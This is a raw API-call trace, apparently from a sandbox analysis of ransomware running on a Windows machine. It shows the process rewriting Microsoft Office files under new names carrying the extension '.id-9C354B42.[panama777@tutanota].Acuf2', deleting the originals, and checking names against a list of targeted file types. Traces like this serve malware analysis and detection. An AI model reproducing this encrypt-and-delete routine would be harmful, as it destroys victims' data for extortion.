	[0264.697] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.697] GetLastError () returned 0x0
	[0264.697] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x9770, lpOverlapped=0x0) returned 1
	[0264.700] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x9780, lpOverlapped=0x0) returned 1
	[0264.701] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.701] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.701] SetEndOfFile (hFile=0x34c) returned 1
	[0264.701] CloseHandle (hObject=0x34c) returned 1
	[0264.701] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.701] SetEndOfFile (hFile=0x328) returned 1
	[0264.704] CloseHandle (hObject=0x328) returned 1
	[0264.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 1
	[0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.704] lstrlenW (lpString=".doc") returned 4
	[0264.705] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString=".docx") returned 5
	[0264.705] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1
	[0264.705] lstrlenW (lpString=".pdf") returned 4
	[0264.705] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString=".xls") returned 4
	[0264.705] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.705] lstrlenW (lpString=".xlsx") returned 5
	[0264.705] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1
	[0264.705] lstrlenW (lpString=".ppt") returned 4
	[0264.705] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.705] lstrlenW (lpString=".zip") returned 4
	[0264.705] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.705] lstrlenW (lpString=".rar") returned 4
	[0264.705] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString=".bz2") returned 4
	[0264.705] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString=".7z") returned 3
	[0264.705] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.705] lstrlenW (lpString=".dbf") returned 4
	[0264.705] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.705] lstrlenW (lpString=".1cd") returned 4
	[0264.705] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60
	[0264.705] lstrlenW (lpString=".jpg") returned 4
	[0264.705] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.706] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=320928) returned 1
	[0264.706] CloseHandle (hObject=0x328) returned 1
	[0264.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll")) returned 0x20
	[0264.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.707] lstrlenW (lpString=".doc") returned 4
	[0264.707] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.707] lstrlenW (lpString=".docx") returned 5
	[0264.707] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0264.707] lstrlenW (lpString=".pdf") returned 4
	[0264.707] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.708] lstrlenW (lpString=".xls") returned 4
	[0264.708] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.708] lstrlenW (lpString=".xlsx") returned 5
	[0264.708] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0264.708] lstrlenW (lpString=".ppt") returned 4
	[0264.708] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.708] lstrlenW (lpString=".zip") returned 4
	[0264.708] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.708] lstrlenW (lpString=".rar") returned 4
	[0264.708] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.708] lstrlenW (lpString=".bz2") returned 4
	[0264.708] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.708] lstrlenW (lpString=".7z") returned 3
	[0264.708] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.708] lstrlenW (lpString=".dbf") returned 4
	[0264.708] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.708] lstrlenW (lpString=".1cd") returned 4
	[0264.708] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70
	[0264.708] lstrlenW (lpString=".jpg") returned 4
	[0264.708] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.709] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.709] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.709] GetLastError () returned 0x0
	[0264.709] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x644, lpOverlapped=0x0) returned 1
	[0264.711] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0264.712] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.712] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0264.712] SetEndOfFile (hFile=0x34c) returned 1
	[0264.712] CloseHandle (hObject=0x34c) returned 1
	[0264.712] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.712] SetEndOfFile (hFile=0x328) returned 1
	[0264.714] CloseHandle (hObject=0x328) returned 1
	[0264.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 1
	[0264.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.714] lstrlenW (lpString=".doc") returned 4
	[0264.714] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0264.714] lstrlenW (lpString=".docx") returned 5
	[0264.714] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0264.714] lstrlenW (lpString=".pdf") returned 4
	[0264.714] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0264.714] lstrlenW (lpString=".xls") returned 4
	[0264.714] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0264.714] lstrlenW (lpString=".xlsx") returned 5
	[0264.714] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0264.714] lstrlenW (lpString=".ppt") returned 4
	[0264.714] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0264.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.715] lstrlenW (lpString=".zip") returned 4
	[0264.715] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0264.715] lstrlenW (lpString=".rar") returned 4
	[0264.715] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0264.715] lstrlenW (lpString=".bz2") returned 4
	[0264.715] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0264.715] lstrlenW (lpString=".7z") returned 3
	[0264.715] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0264.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.715] lstrlenW (lpString=".dbf") returned 4
	[0264.715] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0264.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.715] lstrlenW (lpString=".1cd") returned 4
	[0264.715] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0264.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57
	[0264.715] lstrlenW (lpString=".jpg") returned 4
	[0264.715] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0265.069] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=88464) returned 1
	[0265.069] CloseHandle (hObject=0x33c) returned 1
	[0265.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll")) returned 0x20
	[0265.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0265.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.084] lstrlenW (lpString=".doc") returned 4
	[0265.084] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0265.084] lstrlenW (lpString=".docx") returned 5
	[0265.084] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0265.085] lstrlenW (lpString=".pdf") returned 4
	[0265.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0265.085] lstrlenW (lpString=".xls") returned 4
	[0265.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0265.085] lstrlenW (lpString=".xlsx") returned 5
	[0265.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0265.085] lstrlenW (lpString=".ppt") returned 4
	[0265.085] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0265.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.085] lstrlenW (lpString=".zip") returned 4
	[0265.085] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0265.085] lstrlenW (lpString=".rar") returned 4
	[0265.085] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0265.085] lstrlenW (lpString=".bz2") returned 4
	[0265.085] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0265.085] lstrlenW (lpString=".7z") returned 3
	[0265.085] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0265.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.085] lstrlenW (lpString=".dbf") returned 4
	[0265.085] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0265.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.085] lstrlenW (lpString=".1cd") returned 4
	[0265.085] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0265.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60
	[0265.085] lstrlenW (lpString=".jpg") returned 4
	[0265.085] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0265.168] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.168] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0265.168] GetLastError () returned 0x0
	[0265.168] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2a4, lpOverlapped=0x0) returned 1
	[0265.180] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2b0, lpOverlapped=0x0) returned 1
	[0265.181] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.181] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0265.181] SetEndOfFile (hFile=0x220) returned 1
	[0265.181] CloseHandle (hObject=0x220) returned 1
	[0265.181] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.181] SetEndOfFile (hFile=0x35c) returned 1
	[0265.183] CloseHandle (hObject=0x35c) returned 1
	[0265.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 1
	[0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.184] lstrlenW (lpString=".doc") returned 4
	[0265.184] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0265.184] lstrlenW (lpString=".docx") returned 5
	[0265.184] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0265.184] lstrlenW (lpString=".pdf") returned 4
	[0265.184] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0265.184] lstrlenW (lpString=".xls") returned 4
	[0265.184] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0265.184] lstrlenW (lpString=".xlsx") returned 5
	[0265.184] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0265.184] lstrlenW (lpString=".ppt") returned 4
	[0265.184] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.184] lstrlenW (lpString=".zip") returned 4
	[0265.184] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0265.184] lstrlenW (lpString=".rar") returned 4
	[0265.184] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0265.184] lstrlenW (lpString=".bz2") returned 4
	[0265.184] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0265.184] lstrlenW (lpString=".7z") returned 3
	[0265.184] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.185] lstrlenW (lpString=".dbf") returned 4
	[0265.185] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0265.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.185] lstrlenW (lpString=".1cd") returned 4
	[0265.185] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0265.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72
	[0265.185] lstrlenW (lpString=".jpg") returned 4
	[0265.185] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0265.185] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=216) returned 1
	[0265.185] CloseHandle (hObject=0x35c) returned 1
	[0265.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 0x20
	[0265.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.186] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.186] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0265.186] GetLastError () returned 0x0
	[0265.186] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xd8, lpOverlapped=0x0) returned 1
	[0265.187] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0265.188] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.188] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0265.188] SetEndOfFile (hFile=0x220) returned 1
	[0265.188] CloseHandle (hObject=0x220) returned 1
	[0265.188] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.188] SetEndOfFile (hFile=0x35c) returned 1
	[0265.190] CloseHandle (hObject=0x35c) returned 1
	[0265.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 1
	[0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.193] lstrlenW (lpString=".doc") returned 4
	[0265.193] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0265.193] lstrlenW (lpString=".docx") returned 5
	[0265.193] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0265.193] lstrlenW (lpString=".pdf") returned 4
	[0265.193] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0265.193] lstrlenW (lpString=".xls") returned 4
	[0265.193] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0265.193] lstrlenW (lpString=".xlsx") returned 5
	[0265.193] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0265.193] lstrlenW (lpString=".ppt") returned 4
	[0265.194] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.194] lstrlenW (lpString=".zip") returned 4
	[0265.194] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0265.194] lstrlenW (lpString=".rar") returned 4
	[0265.194] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0265.194] lstrlenW (lpString=".bz2") returned 4
	[0265.194] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0265.194] lstrlenW (lpString=".7z") returned 3
	[0265.194] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72
	[0265.194] lstrlenW (lpString=".dbf") returned 4
	[0265.194] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
